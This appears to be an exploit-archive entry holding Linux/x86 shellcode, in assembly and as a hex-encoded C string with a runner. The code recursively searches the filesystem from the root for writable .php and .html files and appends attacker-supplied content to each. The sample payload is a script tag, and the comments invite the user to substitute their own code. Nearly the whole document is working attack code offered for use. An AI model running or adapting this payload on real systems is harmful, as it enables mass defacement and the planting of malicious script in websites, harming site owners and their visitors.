356 lines
No EOL
10 KiB
C
356 lines
No EOL
10 KiB
C
; Title : Linux/x86 Search php,html writable files and add your code.
|
|
; Date : 2011-10-24
|
|
; Author: rigan - imrigan [sobachka ] gmail.com
|
|
; Size : 380 bytes + your code.
|
|
;
|
|
; Note : This shellcode writes down your code in the end of
|
|
; found files. Your code will be added only .html and .php
|
|
; files. Search for files is carried out recursively.
|
|
|
|
|
|
|
|
BITS 32
|
|
|
|
section .text
|
|
global _start
|
|
_start:
|
|
;======================================================================;
|
|
; main ;
|
|
;======================================================================;
|
|
; chdir("/")
|
|
xor eax, eax
|
|
push eax
|
|
sub esp, BYTE 0x1
|
|
mov BYTE [esp], 0x2f
|
|
mov ebx, esp
|
|
mov al, 12
|
|
int 0x80
|
|
|
|
xor eax, eax
|
|
push eax
|
|
sub esp, BYTE 0x1
|
|
mov BYTE [esp], 0x2e
|
|
|
|
jmp SHORT .exit
|
|
|
|
.jmp_search:
|
|
jmp SHORT search
|
|
|
|
.exit:
|
|
call .jmp_search
|
|
|
|
; exit(0)
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
mov al, 1
|
|
int 0x80
|
|
|
|
;======================================================================;
|
|
; inject ;
|
|
;======================================================================;
|
|
inject:
|
|
; open("file", O_WRONLY)
|
|
xor eax, eax
|
|
mov ebx, edi
|
|
xor ecx, ecx
|
|
mov cl, 2
|
|
mov al, 5
|
|
int 0x80
|
|
|
|
; lseek(fd, 0, SEEK_END)
|
|
xor ebx, ebx
|
|
mov ebx, eax
|
|
xor ecx, ecx
|
|
xor eax, eax
|
|
cdq
|
|
mov dl, 2
|
|
mov al, 19
|
|
int 0x80
|
|
|
|
; write(fd, your_code, sizeof(your_code))
|
|
xor eax, eax
|
|
mov ecx, esi
|
|
mov dl, 43 ; <- TO CHANGE THE SIZE HERE.
|
|
mov al, 4
|
|
int 0x80
|
|
|
|
; close(fd)
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
mov al, 6
|
|
int 0x80
|
|
|
|
ret
|
|
|
|
;======================================================================;
|
|
; substr ;
|
|
;======================================================================;
|
|
|
|
substr:
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
cdq
|
|
|
|
loop_1:
|
|
inc edx
|
|
|
|
; edi contains the filename address
|
|
; esi contains the substring address
|
|
mov BYTE bl, [edi + edx]
|
|
|
|
test bl, bl
|
|
jz not_found
|
|
|
|
cmp BYTE bl, [esi]
|
|
jne loop_1
|
|
|
|
loop_2:
|
|
mov BYTE al, [esi + ecx]
|
|
mov BYTE bl, [edi + edx]
|
|
|
|
test al, al
|
|
jz found
|
|
|
|
inc ecx
|
|
|
|
inc edx
|
|
cmp bl, al
|
|
|
|
je loop_2
|
|
|
|
jmp short not_found
|
|
|
|
found:
|
|
xor eax, eax
|
|
mov al, 2
|
|
|
|
not_found:
|
|
|
|
ret
|
|
|
|
;======================================================================;
|
|
; search ;
|
|
;======================================================================;
|
|
;This function recursively find all writable files. [php, html]
|
|
search:
|
|
push ebp
|
|
mov ebp, esp
|
|
|
|
|
|
mov al, 250
|
|
sub esp, eax
|
|
|
|
; open(".", O_WRONLY)
|
|
xor eax, eax
|
|
xor ecx, ecx
|
|
lea ebx, [ebp + 8]
|
|
mov al, 5
|
|
int 0x80
|
|
|
|
test eax, eax
|
|
js .old_dirent
|
|
|
|
mov [ebp + 12], eax
|
|
|
|
.while:
|
|
; readdir(fd, struct old_linux_dirent *dirp, NULL)
|
|
mov esi, [ebp + 12]
|
|
mov ebx, esi
|
|
xor eax, eax
|
|
xor ecx, ecx
|
|
lea ecx, [esp + 100]
|
|
mov al, 89
|
|
int 0x80
|
|
|
|
test eax, eax
|
|
jnz .l1
|
|
|
|
; closedir(fd)
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
mov ebx, esi
|
|
mov al, 6
|
|
int 0x80
|
|
|
|
.old_dirent:
|
|
; chdir("..")
|
|
xor eax, eax
|
|
push eax
|
|
push WORD 0x2e2e
|
|
mov ebx, esp
|
|
mov al, 12
|
|
int 0x80
|
|
|
|
leave
|
|
ret
|
|
|
|
.l1:
|
|
lea edx, [esp + 110]
|
|
|
|
cmp DWORD [edx], 0x636f7270 ; If the /proc filesystem detected...
|
|
je .while ; ...next dir
|
|
|
|
cmp BYTE [edx], 0x2e
|
|
jne .l2
|
|
|
|
jmp .while
|
|
|
|
.l2:
|
|
; lstat(const char *file, struct stat *buf)
|
|
mov ebx, edx
|
|
mov ecx, esp
|
|
xor eax, eax
|
|
mov al, 196
|
|
int 0x80
|
|
|
|
mov cx, 61439
|
|
mov bx, 40959
|
|
inc ecx
|
|
inc ebx
|
|
mov eax, [esp + 16]
|
|
|
|
and ax, cx
|
|
|
|
cmp ax, bx
|
|
jne .l3
|
|
|
|
jmp .while
|
|
|
|
.l3:
|
|
xor eax, eax
|
|
push eax
|
|
sub esp, BYTE 0x1
|
|
mov BYTE [esp], 0x2e
|
|
|
|
; chdir("file")
|
|
mov ebx, edx
|
|
mov al, 12
|
|
int 0x80
|
|
|
|
test eax, eax
|
|
jne .l4
|
|
|
|
call search
|
|
|
|
jmp .while
|
|
|
|
.l4:
|
|
; access("file", W_OK)
|
|
xor eax, eax
|
|
mov ebx, edx
|
|
xor ecx, ecx
|
|
mov cl, 2
|
|
mov al, 33
|
|
int 0x80
|
|
|
|
|
|
test eax, eax
|
|
jz .check_html
|
|
|
|
jmp .while
|
|
|
|
;======================================================================;
|
|
; check_html ;
|
|
;======================================================================;
|
|
.check_html:
|
|
xor eax, eax
|
|
push eax
|
|
push DWORD 0x6c6d7468 ;
|
|
sub esp, BYTE 0x1 ; .html
|
|
mov BYTE [esp], 0x2e ;
|
|
|
|
mov esi, esp
|
|
mov edi, edx
|
|
call substr
|
|
|
|
cmp BYTE al, 2
|
|
je .do_inject
|
|
|
|
;======================================================================;
|
|
; check_php ;
|
|
;======================================================================;
|
|
.check_php:
|
|
xor eax, eax
|
|
push eax
|
|
push DWORD 0x7068702e ; .php
|
|
|
|
mov esi, esp
|
|
|
|
call substr
|
|
|
|
cmp BYTE al, 2
|
|
je .do_inject
|
|
|
|
jmp .while
|
|
|
|
;======================================================================;
|
|
; do_inject ;
|
|
;======================================================================;
|
|
.do_inject:
|
|
jmp SHORT .your_code
|
|
|
|
.write:
|
|
pop esi ; Get the address of your code into esi
|
|
|
|
call inject
|
|
|
|
jmp .while
|
|
|
|
;======================================================================;
|
|
; your_code ;
|
|
;======================================================================;
|
|
.your_code:
|
|
call .write
|
|
|
|
; Here a place for your code. Its size should be allocated in the
|
|
; register dl. Look at the "inject" function.
|
|
|
|
db '<html><script>alert("pwn3d")<script></html>' ;<- You can change it.
|
|
|
|
; Dont't forget to change the size of your code!
|
|
------------------------------------------------------------------------
|
|
|
|
|
|
Below is presented the shellcode equivalent.
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
char shellcode[] =
|
|
|
|
"\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2f\x89\xe3\xb0\x0c\xcd\x80"
|
|
"\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2e\xeb\x02\xeb\x63\xe8\xf9"
|
|
"\xff\xff\xff\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x31\xc0\x89\xfb\x31"
|
|
"\xc9\xb1\x02\xb0\x05\xcd\x80\x31\xdb\x89\xc3\x31\xc9\x31\xc0\x99"
|
|
"\xb2\x02\xb0\x13\xcd\x80\x31\xc0\x89\xf1\xb2\x2b\xb0\x04\xcd\x80"
|
|
"\x31\xc0\xb0\x06\xcd\x80\xc3\x31\xc0\x31\xdb\x31\xc9\x99\x42\x8a"
|
|
"\x1c\x17\x84\xdb\x74\x1a\x3a\x1e\x75\xf4\x8a\x04\x0e\x8a\x1c\x17"
|
|
"\x84\xc0\x74\x08\x41\x42\x38\xc3\x74\xf0\xeb\x04\x31\xc0\xb0\x02"
|
|
"\xc3\x55\x89\xe5\xb0\xfa\x29\xc4\x31\xc0\x31\xc9\x8d\x5d\x08\xb0"
|
|
"\x05\xcd\x80\x85\xc0\x78\x22\x89\x45\x0c\x8b\x75\x0c\x89\xf3\x31"
|
|
"\xc0\x31\xc9\x8d\x4c\x24\x64\xb0\x59\xcd\x80\x85\xc0\x75\x19\x31"
|
|
"\xc0\x31\xdb\x89\xf3\xb0\x06\xcd\x80\x31\xc0\x50\x66\x68\x2e\x2e"
|
|
"\x89\xe3\xb0\x0c\xcd\x80\xc9\xc3\x8d\x54\x24\x6e\x81\x3a\x70\x72"
|
|
"\x6f\x63\x74\xc6\x80\x3a\x2e\x75\x05\xe9\xbc\xff\xff\xff\x89\xd3"
|
|
"\x89\xe1\x31\xc0\xb0\xc4\xcd\x80\x66\xb9\xff\xef\x66\xbb\xff\x9f"
|
|
"\x41\x43\x8b\x44\x24\x10\x66\x21\xc8\x66\x39\xd8\x75\x05\xe9\x97"
|
|
"\xff\xff\xff\x31\xc0\x50\x83\xec\x01\xc6\x04\x24\x2e\x89\xd3\xb0"
|
|
"\x0c\xcd\x80\x85\xc0\x75\x0a\xe8\x65\xff\xff\xff\xe9\x79\xff\xff"
|
|
"\xff\x31\xc0\x89\xd3\x31\xc9\xb1\x02\xb0\x21\xcd\x80\x85\xc0\x74"
|
|
"\x05\xe9\x64\xff\xff\xff\x31\xc0\x50\x68\x68\x74\x6d\x6c\x83\xec"
|
|
"\x01\xc6\x04\x24\x2e\x89\xe6\x89\xd7\xe8\x09\xff\xff\xff\x3c\x02"
|
|
"\x74\x18\x31\xc0\x50\x68\x2e\x70\x68\x70\x89\xe6\xe8\xf6\xfe\xff"
|
|
"\xff\x3c\x02\x74\x05\xe9\x30\xff\xff\xff\xeb\x0b\x5e\xe8\xb9\xfe"
|
|
"\xff\xff\xe9\x23\xff\xff\xff\xe8\xf0\xff\xff\xff"
|
|
// <html><script>alert("pwn3d")<script></html>
|
|
"\x3c\x68\x74\x6d\x6c\x3e\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c"
|
|
"\x65\x72\x74\x28\x22\x70\x77\x6e\x33\x64\x22\x29\x3c\x73\x63\x72"
|
|
"\x69\x70\x74\x3e\x3c\x2f\x68\x74\x6d\x6c\x3e";
|
|
|
|
int main()
|
|
{
|
|
printf("%d\n", strlen(shellcode));
|
|
(*(void (*)()) shellcode)();
|
|
return 0;
|
|
} |